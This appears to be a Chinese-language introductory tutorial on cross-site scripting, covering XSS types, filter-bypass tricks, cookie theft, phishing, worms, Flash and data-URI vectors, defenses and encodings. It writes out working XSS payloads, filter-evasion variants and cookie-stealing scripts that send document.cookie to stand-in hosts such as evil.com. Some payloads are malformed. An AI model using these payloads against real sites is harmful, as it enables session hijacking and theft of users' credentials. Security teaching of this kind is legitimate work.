XSS初探

1 什么是XSS跨站脚本

跨站脚本是一种经常出现在Web应用程序中的计算机安全漏洞,是由于Web应用程序对用户输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害者可能采取Cookie资料盗取、会话劫持、钓鱼欺骗等各种攻击。

XSS跨站脚本本身对WEB服务器没有直接危害,它借助网站进行传播,使网站的大量用户受到攻击。攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意URL,当受害者在Web浏览器中打开该URL的时候,恶意脚本会在受害者的计算机上悄悄执行。

2 为什么XSS跨站漏洞会如此普遍和流行?这是由多个因素造成的

2.1、Web 浏览器本身的设计是不安全的。浏览器包含了解析和执行JavaScript等脚本语言的能力,这些语言可用来创建各种格式丰富的功能,而浏览器只会执行,不会判断数据和程序代码是否恶意。

2.2、 输入与输出是Web应用程序最基本的交互,在这过程之中若没有做好安全防护,web程序很容易会出现XSS漏洞。

2.3、 现在的应用程序大部分是通过安全团队合作完成的,程序员之间的水平参差不齐,很少有人受过正规培训,因此,开发的产品难免出现问题。

2.4、不管是开发人员还是安全工程师,很多都没有真正意识到XSS的真正危害

2.5、触发跨站脚本的方式非常简单,只要向HTML代码中注入脚本即可

3 XSS跨站脚本实例

  HTML的script元素标记中间包含JavaScript,这使浏览器知道:当它遇到这一标记时,不应该将此标记内容成HTML或XHTML,从这一点开始,对于内容的控制权已转移给另一个内置浏览器代理---脚本引擎处理。

  XSS 攻击就是将非法的JavaScript、VBscript等脚本注入到用户浏览的网页上执行,而Web浏览器本身的设计是不安全的,它只负责解释和执行Javascript等脚本语言,而不会判断代码本身是否对用户有害。

4 XSS 可能会给网站和用户带来的危害简单概括如下:

4.1、网络钓鱼,包括盗取各类用户帐号;

4.2、窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作

4.3、劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转帐、强制发表日志、 发送电子邮件等

4.4、强制弹出广告页面、刷流量等

4.5、网页挂马

4.6、进行恶意操作,例如任意纂改页面信息、删除文章等

4.7、进行大量的客户端攻击,如DDoS攻击

4.8、获取客户端信息,例如用户浏览历史、真实IP、开放端口等

4.9、控制受害者机器向其他网站发起攻击

4.10、结合其他漏洞,如csrf漏洞,实施进一步作恶

4.11、提升用户权限,包括进一步渗透网站

4.12、传播跨站脚本蠕虫等

5 XSS分类

5.1、 反射型XSS

   反射型xss利用一般是攻击者通过特定手法(比如利用电子邮件),诱使用户去访问一个包含恶意代码的URL,当受害者单击这些专门设计的链接的时候,恶意javaScript代码会直接在受害者主机上的浏览器执行。它的特点是只在用户单击时触发,而且只执行一次,非持久化,所以称为反射型跨站式脚本。

5.2、 持久性XSS

6、XSS的发掘

众所周知,数据交互(即输入/输出)的地方最容易产生跨站脚本,因此,我们可以着重对网站的输入框、URL参数处进行测试。当然,所有来自COOKIE、POST表单、HTTP头的内容都可能会产生。

</textarea><script>alert(/XSS/)</script><textarea>

6.1、测试用例

<script>alert(1);</script>

<script>alert('XSS');</script>

<script src="http://www.evil.com/cookie.php"></script>

<script>location.href="http://www.evil.com/cookie.php?cookie="+escape(document.cookie)</script>

<script>alert(String.fromCharCode(88,83,83))</script>

<IMG SRC=javascript:alert(String.fromChar(88,83,83))>

"><script>alert(0)</script>

......

6.2、XSS Filter

1、利用<>标记注射<script>Html/Javascript

如果用户可以随心所欲地引入<>等标记,那么他就能操作一个HTML标签,然后通过<script>标签就能任意插入由JavaScript或Vbscript编写的恶意脚本代码。

如:<script>alert('XSS');</script>

因此,XSSFilter首当其冲要进行过滤和转义的就是"<>"或<script>等字符。

如此一来,某些形式的XSS即不复存在。

2、利用HTML标签属性值执行XSS

假设用户不能构造自己的HTML标记,但是他们还可以使用其他形式来执行XSS,例如HTML标签的属性值。

很多HTML标记中的属性都支持javascript:[code]伪协议的形式,这个特殊的协议类型声明了URL的主体是任意的JavaScript代码,由JavaScript的解释器运行。

所以,用户可以利用部分HTML标记的属性值进行XSS,请看下面的代码:

<table backgroup="javascript:alert(/xss/)"></table>

<img src="javascript:alert('XSS');">

3、空格回车Tab

如果XSS Filter仅仅把敏感的输入字符例入黑名单,如对敏感自javascript而言,用户可以利用空格、回车和Tab键绕过限制,请看下面的例子:

<img src="javas    cript:alert(/xss/)" width=100>

使用关键字拆分的技巧,用户就能突破过滤器的限制,当然,这种技巧不局限在[tab]键,还可以使用回车、空格之类的其他键位符。

4、对标签属性值转码

对普通HTML标记的属性值进行过滤,用户还可以通过编码处理来绕过,因此HTML中属性值本身支持ASCII码形式。ASCII码,即美国信息互换标准代码,是目前计算机最通用的编码标准。因为计算机只能接受数字信息,ASCII码将字符作为数字来表示,以便计算机能够接受和处理,比如大写字母A的ASCII码是65

根据HTML的属性值支持ASCII码的特性,把XSS代码:<img src="javascript:alert('xss');">

替换成:

<img src="javascrip&#116&#58alert(/xss/);">

所以,为了防范利用HTML标签属性值编码XSS,最好也过滤&#\等字符。

5、产生自己的事件

现在,假设用户不能依靠属性值进行跨站,那还有没有其他方法?答案是肯定的,事件就是其中一种方法

既然事件能让JavaScript代码运行,就意味着用户也能利用它执行跨站脚本如:

<img src="#" onerror=alert(/xss/)>

6、利用CSS跨站剖析

7、扰乱过滤规则

利用前面所述的各种技巧,包括HTML标签属性值、事件、CSS、编码技术等,用户能顺利绕过XSS Filter的重重过滤。

程序员在汲取各种经验后,在开发过程中可能已经仔细考虑到各种触发XSS的情况,然后部署好严谨措施,如此一来,系统也变得更加牢固、安全。但不要太自信,请继续看下面示例:

大小写转换

大小写混淆

不用双引号,而用单引号

不使用引号

8、利用字符编码

HTML标签中的某些属性值可以使用&#ASCII方式进行编码改写,这种XSS转码支持十进制和十六进制形式。

为了方便测试,我们接下来使用一个XSS编码工具,以便对字符进行十进制和十六进制的编码解码,该工具还可以实现ESCAPE转码和解码

另外,在JavaScript中有一个eval()函数,该函数可计算字符串,并执行其中的JavaScript代码

eval()也可以执行10进制形式的脚本,但需要配合String.fromCharCode()函数使用。String.fromcharcode()用于将字符转为ASCII值。

JavaScript支持unicode、escapes、十六进制、八进制等编码形式,这种编码技术如果运用于跨站攻击,无疑能大大加强XSS的威力。

9、拆分跨站法

 

XSS利用方式剖析

 

1 Cookie窃取攻击剖析

攻击者通常利用网站的XSS漏洞发起攻击。假设一个网站存在存储型XSS(或反射型XSS),攻击者就可以向漏洞页面写入窃取Cookie信息的恶意代码,在用户浏览XSS网页时,攻击者就能够获取受害者当前浏览器中的cookie会话攻击。

2 Cookie会话攻击原理剖析

<script

document.location="http://www.test.com/cookie.asp?cookie ="+document.cookie

</script>

3 Cookie 欺骗实例剖析

XSS Expliot如下:

http://127.0.0.1/Search.asp?Keyword=<script>var =new Image();x.src="http://127.0.0.1/cookie.asp?cookie="+document.cookie;</script>

XSS Phishing

XSS Phishing Expliot

http://www.bug.com/index.php?s=<script=http://www.evil.com/xss.js></script>

1、XSS重定向钓鱼

2、HTML注入式钓鱼

3、XSS跨框架钓鱼

4、Flash钓鱼

4 客户端信息刺探

1 javascript实现端口扫描

2 获取剪贴板内容

3 获取客户端IP地址

5 其它恶意攻击剖析

1 网页挂马

2 DDOS

3 XSS Virus/Worm

 

XSS测试和工具剖析

 

1、firebug

2、Tamper Data

3、Live HTTP Headers

4、Fiddler

5、XSS-Proxy

6、AttackAPI

7、Anehta

8、 XSS Shell

发掘XSS漏洞剖析

黑盒测试工具

1、Acunetix Web Vulnerability Scanner

2、XSSDetect

3、Ratproxy

黑盒手动测试

如果针对页面的输入框进行测试,首先可以输入一些触发XSS的敏感字符,如:

< > " ' & #

为了实现准确性和全面性,这里首先选择输入特殊字符进行测试。在输入框中输入"<XSS>"'&"并提交,然后在提交后的页面查看源代码,根据关键字“XSS”查找源代码中的"<XSS>"'&"是否已经被过滤和转义。如果连最基本的"<>"字符未被转义,说明这个输入框可能存在XSS漏洞,借此再构造完整XSS代码测试。

 

XSS Worm 剖析

一个完整的XSS Worm攻击流程如下

1、攻击者发现目标存在XSS漏洞,并且可以编写XSS蠕虫

2、利用一个宿主(如博客空间)作为传播源头进行XSS攻击

3、当其他用户访问北感染的空间时,XSS蠕虫执行以下操作

判断用户是否登录,如果已登录就执行下一步:如果没登录则执行其他操作

继续判断用户是否被感染,如果没有就将其感染,如果已感染则跳过

Flash应用安全

编译好flash文件,将文件命名为xss.swf,然后新建一个HTML文件并嵌入该Flash文件:

<object id="test" width="200" height="150">

<param name=movie value="Movie.swf">

<embed AllowScriptAccess="always" name='test' src="xss.swf" type="application/x-shockwave-flash" width="200" height="150">

</embed>

</object>

利用嵌入web页面中的Flash进行XSS有一个决定因素:allowScriptAccess属性。allowScriptAccess是使用<embed>或<object>标签引入Flash时提供的一个控制属性,决定了Flash是否能执行脚本代码。

Flash在客户端提供了两个控制属性:allowScriptAccess属性和allowNetworking属性,其中AllowScriptAccess控制Flash与HTML页面通信,如果设置不恰当会导致XSS;而AllowNetworking控制Flash与外部网络的通信,如果设置不当会导致CSRF。

 

深入XSS

利用Data URIS进行XSS剖析

Data URI方案和MHTML有些类似,提供了一种通过base64编码在网页中直接潜入文件的方法,利用该方法可以绕过基于黑名单过滤的XSS防御系统。

Data URI 格式:

data:[<mime type>] [;charset=<charset>][;base64],<encode data>

Data URI最有趣的地方是可以让用户把文件嵌入到其他文件中

 

Data URIS XSS

data URI提供了一个在HTML或者CSS文件中嵌入图片的方法,但没有严格指定嵌入的文件必须是图片,也就是说,我们可以在base64编码后嵌入任何类型的文件,甚至HTML本身。

<a href="data:text/html;base64,PHNj......">test<a>

<object data="data:text/html;base64,PHNj......"></object>

 

防御XSS攻击

 

1、使用XSS Filter

输入过滤

输出编码

黑名单和白名单

2、定制过滤策略

3、Web定制编码规范

4、防御DOM-Based XSS

5、其他防御方式

 

XSS与字符编码的那些事儿

html实体编码(10进制与16进制)

如把尖括号编码[<] ------>html十进制;< html十六进制:&#x3c

html实体编码本身存在的意义是防止与HTML本身语义标记的冲突,但是在XSS中却成为了我们的一大利器。

javascript的八进制跟十六进制

如把尖括号编码[<] ------> js八进制:\74 js十六进制:\x3c

jsunicode编码

如把尖括号编码[<] ------>jsunicode:\u003c

url编码base64

如把尖括号编码[<] ------>url: %3c base64: PA==

 

HTTP请求头

消息头           解释

Host           请求的域名

User-Agent        客户端浏览器型号

Accept          可接受的内容类型

Accept-Language      可接受的语言

Accept-Encoding      可接受的压缩类型

Accept-Charset      可接受的内容编码

Cookie          客户端的用户Cookie

if-Modified-Since     客户端的缓存的最后修改时间

if-None-Match       客户端缓存文件的标示符

 

HTTP响应报头

消息头               解释

Server          Web服务器软件名称

Vary           告诉下游代理是使用缓存响应还是从原始服务请求

Date           原始服务器消息发出的时间

Last-Modified      请求资源的最后修改时间

Location         用来重定向接收方到非请求URL的位置来完成请求或标识新的资源

Content-Encoding     Web服务器支持的返回内容压缩编码类型

Content-Type       返回内容的MIME类型

Content-Length      响应体的长度

Content-Language     响应的语言

上一篇:Web安全系列(二):XSS 攻击进阶(初探 XSS Payload)


下一篇:WEB 安全 - xss 初探